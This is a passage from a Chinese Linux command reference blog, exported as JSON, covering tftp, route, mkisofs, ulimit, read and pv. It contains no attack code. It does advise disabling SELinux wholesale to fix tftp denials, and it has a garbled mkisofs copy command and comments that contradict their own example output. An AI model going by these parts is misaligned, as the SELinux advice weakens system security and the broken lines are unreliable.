verbose:显示详细的处理信息 tarce:显示包路径 status:显示当前状态信息 binary:二进制传输模式 ascii:ascii 传送模式 rexmt:设置包传输的超时时间 timeout:设置重传的超时时间 help:帮助信息 ? :帮助信息 7、如果老是出现“AVC Denial, click icon to view”的错误,并不能传输文件,需要作如下修改 修改/etc/sysconfig/selinux,将 SELINUX 设定为 disable,使用命令setenforce 0让 selinux 配置文件生效。 8、Busybox 中 tftp 命令的用法 命令格式为: tftp [option] ... host [port] 如果要下载或上传文件的话是一定要用这些 option 的。 -g 表示下载文件 (get) -p 表示上传文件 (put) -l 表示本地文件名 (local file) -r 表示远程主机的文件名 (remote file) 例如,要从远程主机 192.168.1.2 上下载 embedexpert,则应输入以下命令 tftp -g -r embedexpert 192.168.1.2 ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"tftp","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/tftp/","stats":{"text":"4 min read","time":221000,"words":883,"minutes":4},"date":"2022-02-03 16:02:25","dateFormat":"2022-02-03"},{"content":"显示并设置 Linux 中静态路由表。 补充说明 route 命令用来显示并设置 Linux 内核中的网络路由表,route 命令设置的路由主要是静态路由。要实现两个不同的子网之间的通信,需要一台连接两个网络的路由器,或者同时位于两个网络的网关来实现。 在 Linux 系统中设置路由通常是为了解决以下问题:该 Linux 系统在一个局域网中,局域网中有一个网关,能够让机器访问 Internet,那么就需要将这台机器的 ip 地址设置为 Linux 机器的默认路由。要注意的是,直接在命令行下执行 route 命令来添加路由,不会永久保存,当网卡重启或者机器重启之后,该路由就失效了;可以在/etc/rc.local中添加 route 命令来保证该路由设置永久有效。 语法 route (选项) (参数) 选项 -A:设置地址类型; -C:打印将 Linux 核心的路由缓存; -v:详细信息模式; -n:不执行 DNS 反向查找,直接显示数字形式的 IP 地址; -e:netstat 格式显示路由表; -net:到一个网络的路由表; -host:到一个主机的路由表。 参数 Add:增加指定的路由记录; Del:删除指定的路由记录; Target:目的网络或目的主机; gw:设置默认网关; mss:设置 TCP 的最大区块长度(MSS),单位 MB; window:指定通过路由表的 TCP 连接的 TCP 窗口大小; dev:路由记录所表示的网络接口。 实例 显示当前路由: [root@localhost ~]# route Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 112.124.12.0 * 255.255.252.0 U 0 0 0 eth1 10.160.0.0 * 255.255.240.0 U 0 0 0 eth0 192.168.0.0 10.160.15.247 255.255.0.0 UG 0 0 0 eth0 172.16.0.0 10.160.15.247 255.240.0.0 UG 0 0 0 eth0 10.0.0.0 10.160.15.247 255.0.0.0 UG 0 0 0 eth0 default 112.124.15.247 0.0.0.0 UG 0 0 0 eth1 [root@localhost ~]# route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 112.124.12.0 0.0.0.0 255.255.252.0 U 0 0 0 eth1 10.160.0.0 0.0.0.0 255.255.240.0 U 0 0 0 eth0 192.168.0.0 10.160.15.247 255.255.0.0 UG 0 0 0 eth0 172.16.0.0 10.160.15.247 255.240.0.0 UG 0 0 0 eth0 10.0.0.0 10.160.15.247 255.0.0.0 UG 0 0 0 eth0 0.0.0.0 112.124.15.247 0.0.0.0 UG 0 0 0 eth1 其中 Flags 为路由标志,标记当前网络节点的状态,Flags 标志说明: U Up 表示此路由当前为启动状态。 H Host,表示此网关为一主机。 G Gateway,表示此网关为一路由器。 R Reinstate Route,使用动态路由重新初始化的路由。 D Dynamically,此路由是动态性地写入。 M Modified,此路由是由路由守护程序或导向器动态修改。 ! 表示此路由当前为关闭状态。 添加网关/设置网关: route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0 #增加一条到达 244.0.0.0 的路由。 屏蔽一条路由: route add -net 224.0.0.0 netmask 240.0.0.0 reject #增加一条屏蔽的路由,目的地址为 224.x.x.x 将被拒绝。 删除路由记录: route del -net 224.0.0.0 netmask 240.0.0.0 route del -net 224.0.0.0 netmask 240.0.0.0 reject 删除和添加设置默认网关: route del default gw 192.168.120.240 route add default gw 192.168.120.240 ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"route","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/route/","stats":{"text":"5 min read","time":241000,"words":900,"minutes":5},"date":"2022-02-03 16:02:09","dateFormat":"2022-02-03"},{"content":"建立 ISO 9660 映像文件。 补充说明 mkisofs 命令用来将指定的目录与文件做成 ISO 9660 格式的映像文件,以供刻录光盘。 语法 mkisofs (选项) (参数) 选项 -a 或--all:mkisofs 通常不处理备份文件。使用此参数可以把备份文件加到映像文件中; -A<应用程序 id>或-appid<应用程序 ID>:指定光盘的应用程序 ID; -abstract<摘要文件>:指定摘要文件的文件名; -b<开机映像文件>或-eltorito-boot<开机映像文件>:指定在制作可开机光盘时所需的开机映像文件; -biblio<ISBN 文件>:指定 ISBN 文件的文件名,ISBN 文件位于光盘根目录下,记录光盘的 ISBN; -c<开机文件名称>:制作可开机光盘时,mkisofs 会将开机映像文件中的全-eltorito-catalog<开机文件名称>全部内容作成一个文件; -C<盘区编号,盘区编号>:将许多节区合成一个映像文件时,必须使用此参数; -copyright<版权信息文件>:指定版权信息文件的文件名; -d 或-omit-period:省略文件后的句号; -D 或-disable-deep-relocation:ISO 9660 最多只能处理 8 层的目录,超过 8 层的部分,RRIP 会自动将它们设置成 ISO 9660 兼容的格式。使用-D 参数可关闭此功能; -f 或-follow-links:忽略符号连接; -h:显示帮助; -hide<目录或文件名>:使指定的目录或文件在 ISO 9660 或 Rock RidgeExtensions 的系统中隐藏; -hide-joliet<目录或文件名>:使指定的目录或文件在 Joliet 系统中隐藏; -J 或-joliet:使用 Joliet 格式的目录与文件名称; -l 或-full-iso9660-filenames:使用 ISO 9660 32 字符长度的文件名; -L 或-allow-leading-dots:允许文件名的第一个字符为句号; -log-file<记录文件>:在执行过程中若有错误信息,预设会显示在屏幕上; -m<目录或文件名>或-exclude<目录或文件名>:指定的目录或文件名将不会房入映像文件中; -M<映像文件>或-prev-session<映像文件>:与指定的映像文件合并; -N 或-omit-version-number:省略 ISO 9660 文件中的版本信息; -o<映像文件>或-output<映像文件>:指定映像文件的名称; -p<数据处理人>或-preparer<数据处理人>:记录光盘的数据处理人; -print-size:显示预估的文件系统大小; -quiet:执行时不显示任何信息; -r 或-rational-rock:使用 Rock Ridge Extensions,并开放全部文件的读取权限; -R 或-rock:使用 Rock Ridge Extensions; -sysid<系统 ID>:指定光盘的系统 ID; -T 或-translation-table:建立文件名的转换表,适用于不支持 Rock Ridge Extensions 的系统上; -v 或-verbose:执行时显示详细的信息; -V<光盘 ID>或-volid<光盘 ID>:指定光盘的卷册集 ID; -volset-size<光盘总数>:指定卷册集所包含的光盘张数; -volset-seqno<卷册序号>:指定光盘片在卷册集中的编号; -x<目录>:指定的目录将不会放入映像文件中; -z:建立通透性压缩文件的 SUSP 记录,此记录目前只在 Alpha 机器上的 Linux 有效。 参数 路径:需要添加到映像文件中的路径。 实例 linux 中用 mkisofs 命令把文件制作成 ISO 步骤: 把 NFS 服务器上的目录挂载到本地/mnt/nfs/的目录: mount -t nfs 10.0.2.2:/linuxos/rhel4.0_update3/ /mnt/nfs/ 把已挂载的文件复制到本地: cp -a /mnt/NFS/* /root/Decp -a /mnt/nfs/* /root/Desktop/rhel4.0/&sktop/rhel4.0/& 查找 boot.cat 文件并删除掉: find rhel4.0/ -name boot.cat | xargs rm 查找 TRANS.TBL 文件并删除掉: find rhel4.0/ -name TRANS.TBL -exec rm {} \\; 复制本地的所需文件到指定目录: cp /usr/share/comps/i386/.discinfo rhel4.0/ 把指定目录下的所有文件制作成 ISO 文件: mkisofs -R -J -T -v -no-emul-boot -boot-load-size 4 -boot-info-table -V RHEL4ASDVD -b isolinux/isolinux.bin -c isolinux/boot.cat -o /RHEL4AS.iso rhel4.0/ ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"mkisofs","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/mkisofs/","stats":{"text":"5 min read","time":262000,"words":1071,"minutes":5},"date":"2022-02-03 16:01:50","dateFormat":"2022-02-03"},{"content":"控制 shell 程序的资源。 补充说明 ulimit 命令用来限制系统用户对 shell 资源的访问。如果不懂什么意思,下面一段内容可以帮助你理解: 假设有这样一种情况,当一台 Linux 主机上同时登陆了 10 个人,在系统资源无限制的情况下,这 10 个用户同时打开了 500 个文档,而假设每个文档的大小有 10M,这时系统的内存资源就会受到巨大的挑战。 而实际应用的环境要比这种假设复杂的多,例如在一个嵌入式开发环境中,各方面的资源都是非常紧缺的,对于开启文件描述符的数量,分配堆栈的大 小,CPU 时间,虚拟内存大小,等等,都有非常严格的要求。资源的合理限制和分配,不仅仅是保证系统可用性的必要条件,也与系统上软件运行的性能有着密不可分的联 系。这时,ulimit 可以起到很大的作用,它是一种简单并且有效的实现资源限制的方式。 ulimit 用于限制 shell 启动进程所占用的资源,支持以下各种类型的限制:所创建的内核文件的大小、进程数据块的大小、Shell 进程创建文件的大小、内存锁住的大小、常驻内存集的大小、打开文件描述符的数量、分配堆栈的最大大小、CPU 时间、单个用户的最大线程数、Shell 进程所能使用的最大虚拟内存。同时,它支持硬资源和软资源的限制。 作为临时限制,ulimit 可以作用于通过使用其命令登录的 shell 会话,在会话终止时便结束限制,并不影响于其他 shell 会话。而对于长期的固定限制,ulimit 命令语句又可以被添加到由登录 shell 读取的文件中,作用于特定的 shell 用户。 语法 ulimit (选项) 选项 -a:显示目前资源限制的设定; -c <core 文件上限>:设定 core 文件的最大值,单位为区块; -d <数据节区大小>:程序数据节区的最大值,单位为 KB; -e 默认进程优先级, 值越小优先级越高 -f <文件大小>:shell 所能建立的最大文件,单位为区块; -H:设定资源的硬性限制,也就是管理员所设下的限制; -m <内存大小>:指定可使用内存的上限,单位为 KB; -n <文件数目>:指定同一时间最多可开启的文件数; -p <缓冲区大小>:指定管道缓冲区的大小,单位 512 字节; -s <堆叠大小>:指定堆叠的上限,单位为 KB; -S:设定资源的弹性限制; -t <CPU 时间>:指定 CPU 使用时间的上限,单位为秒; -u <程序数目>:用户最多可开启的程序数目; -v <虚拟内存大小>:指定可使用的虚拟内存上限,单位为 KB。 实例 [root@localhost ~]# ulimit -a core file size (blocks, -c) 0 #core 文件的最大值为 100 blocks。 data seg size (kbytes, -d) unlimited #进程的数据段可以任意大。 scheduling priority (-e) 0 file size (blocks, -f) unlimited #文件可以任意大。 pending signals (-i) 98304 #最多有 98304 个待处理的信号。 max locked memory (kbytes, -l) 32 #一个任务锁住的物理内存的最大值为 32KB。 max memory size (kbytes, -m) unlimited #一个任务的常驻物理内存的最大值。 open files (-n) 1024 #一个任务最多可以同时打开 1024 的文件。 pipe size (512 bytes, -p) 8 #管道的最大空间为 4096 字节。 POSIX message queues (bytes, -q) 819200 #POSIX 的消息队列的最大值为 819200 字节。 real-time priority (-r) 0 stack size (kbytes, -s) 10240 #进程的栈的最大值为 10240 字节。 cpu time (seconds, -t) unlimited #进程使用的 CPU 时间。 max user processes (-u) 98304 #当前用户同时打开的进程(包括线程)的最大个数为 98304。 virtual memory (kbytes, -v) unlimited #没有限制进程的最大地址空间。 file locks (-x) unlimited #所能锁住的文件的最大个数没有限制。 ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"ulimit","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/ulimit/","stats":{"text":"5 min read","time":241000,"words":1065,"minutes":5},"date":"2022-02-03 16:01:31","dateFormat":"2022-02-03"},{"content":"从键盘读取变量值。 补充说明 read 命令从键盘读取变量的值,通常用在 shell 脚本中与用户进行交互的场合。该命令可以一次读取多个变量的值,变量和输入的值都需要使用空格隔开。在 read 命令后面,如果没有指定变量名,读取的数据将被自动赋值给特定的变量 REPLY 语法 read (选项) (参数) 选项 -p:指定读取值时的提示符; -t:指定读取值时等待的时间(秒)。 参数 变量:指定读取值的变量名。 实例 下面的列表给出了 read 命令的常用方式: read 1987name 从标准输入读取输入并赋值给变量 1987name。 read first last 从标准输入读取输入到第一个空格或者回车,将输入的第一个单词放到变量 first 中,并将该行其他的输入放在变量 last 中。 read 从标准输入读取一行并赋值给特定变量 REPLY。 read -a arrayname 把单词清单读入 arrayname 的数组里。 read -p "text" 打印提示(text),等待输入,并将输入存储在 REPLY 中。 read -r line 允许输入包含反斜杠。 read -t 3 指定读取等待时间为 3 秒。 read -n 2 var 从输入中读取两个字符并存入变量 var,不需要按回车读取。 read -d ":" var 用定界符“:”结束输入行。 read 命令示例 从标准输入读取输入并赋值给变量 1987name。 #read 1987name #等待读取输入,直到回车后表示输入完毕,并将输入赋值给变量 answer HelloWorld #控制台输入 Hello #echo $1987name #打印变量 HelloWorld 等待一组输入,每个单词之间使用空格隔开,直到回车结束,并分别将单词依次赋值给这三个读入变量。 #read one two three 1 2 3 #在控制台输入 1 2 3,它们之间用空格隔开。 #echo "one = $one, two = $two, three = $three" one = 1, two = 2, three = 3 REPLY 示例 #read #等待控制台输入,并将结果赋值给特定内置变量 REPLY。 This is REPLY #在控制台输入该行。 #echo $REPLY #打印输出特定内置变量 REPLY,以确认是否被正确赋值。 This is REPLY -p 选项示例 #read -p "Enter your name: " #输出文本提示,同时等待输入,并将结果赋值给 REPLY。 Enter you name: stephen #在提示文本之后输入 stephen #echo $REPLY stephen 等待控制台输入,并将输入信息视为数组,赋值给数组变量 friends,输入信息用空格隔开数组的每个元素。 #read -a friends Tim Tom Helen #echo "They are ${friends[0]}, ${friends[1]} and ${friends[2]}." They are Tim, Tom and Helen. 补充一个终端输入密码时候,不让密码显示出来的例子。 方法 1: #!/bin/bash read -p "输入密码:" -s pwd echo echo password read, is "$pwd" 方法 2: #!/bin/bash stty -echo read -p "输入密码:" pwd stty echo echo echo 输入完毕。 其中,选项-echo禁止将输出发送到终端,而选项echo则允许发送输出。 使用 read 命令从键盘读取变量值,并且将值赋给指定的变量,输入如下命令: read v1 v3 #读取变量值 执行上面的指令以后,要求键入两个数据,如下所示: Linux c+ #输入数据 完成之后,可以使用 echo 命令将指定的变量值输出查看,输入如下命令: echo $v1 $v3 #输出变量的值 执行输出变量值的命令以后,将显示用户所输入的数据值,如下所示: Linux c+ #输出变量值 注意:使用 echo 命令输出变量值时,必须在变量名前添加符号$。否则,echo 将直接输出变量名。 ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"read","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/read/","stats":{"text":"4 min read","time":222000,"words":955,"minutes":4},"date":"2022-02-03 16:01:03","dateFormat":"2022-02-03"},{"content":"显示当前在命令行执行的命令的进度信息,管道查看器。 补充说明 pv 命令 Pipe Viewer 的简称,由 Andrew Wood 开发。意思是通过管道显示数据处理进度的信息。这些信息包括已经耗费的时间,完成的百分比 (通过进度条显示),当前的速度,全部传输的数据,以及估计剩余的时间。 下载安装 # Debian 系的操作系统,如 Ubuntu sudo apt-get install pv # RedHat 系的则这样: yum install pv 语法 pv (选项) (参数) pv [OPTION] [FILE]... 选项 -p, --progress show progress bar -t, --timer show elapsed time -e, --eta show estimated time of arrival (completion) -I, --fineta show absolute estimated time of arrival (completion) -r, --rate show data transfer rate counter -a, --average-rate show data transfer average rate counter -b, --bytes show number of bytes transferred -T, --buffer-percent show percentage of transfer buffer in use -A, --last-written NUM show NUM bytes last written -F, --format FORMAT set output format to FORMAT -n, --numeric 输出百分比 -q, --quiet do not output any transfer information at all -W, --wait display nothing until first byte transferred -D, --delay-start SEC display nothing until SEC seconds have passed -s, --size SIZE set estimated data size to SIZE bytes -l, --line-mode count lines instead of bytes -0, --null lines are null-terminated -i, --interval SEC update every SEC seconds -w, --width WIDTH assume terminal is WIDTH characters wide -H, --height HEIGHT assume terminal is HEIGHT rows high -N, --name NAME prefix visual information with NAME -f, --force output even if standard error is not a terminal -c, --cursor use cursor positioning escape sequences -L, --rate-limit RATE limit transfer to RATE bytes per second -B, --buffer-size BYTES use a buffer size of BYTES -C, --no-splice never use splice(), always use read/write -E, --skip-errors skip read errors in input -S, --stop-at-size stop after --size bytes have been transferred -R, --remote PID update settings of process PID -P, --pidfile FILE save process ID in FILE -d, --watchfd PID[:FD] watch file FD opened by process PID -h, --help 显示帮助 -V, --version 显示版本信息 实例 我们(在 linux 上使用命令行的用户)的大多数使用场景都会用到的命令是从一个 USB 驱动器拷贝电影文件到你的电脑。如果你使用 cp 来完成上面的任务,你会什么情况都不清楚,直到整个复制过程结束或者出错。 # 复制文件会有进度 linux [master●] % pv ~/Downloads/CentOS-7-x86_64-Minimal-1511.iso > ~/Desktop/CentOS-7-x86_64-Minimal-1511.iso # 下面输入信息 552MiB 0:00:02 [ 212MiB/s] [==================> ] 91% ETA 0:00:00 # -L 可以让你修改 pv 命令的传输速率。 # 使用 -L 选项来限制传输速率为 2MB/s。 pv -L 2m /media/himanshu/1AC2-